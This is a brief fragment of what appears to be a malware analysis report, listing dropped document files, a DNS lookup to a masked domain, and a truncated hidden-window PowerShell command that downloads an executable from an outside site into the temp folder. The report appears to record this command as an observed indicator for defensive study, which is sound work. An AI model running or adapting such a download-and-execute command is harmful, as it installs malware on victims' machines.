Technical Information
- %TEMP%\word\<File name>.doc
- %TEMP%\word\<File name>.doc
- DNS ASK ta####asa###.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = 'http://tasarlasanal.com/prices.exe'.Split(',');$path = $env:temp + '\65536.exe';foreach($myurl in $myurls){try{$webcl...' (with hidden window)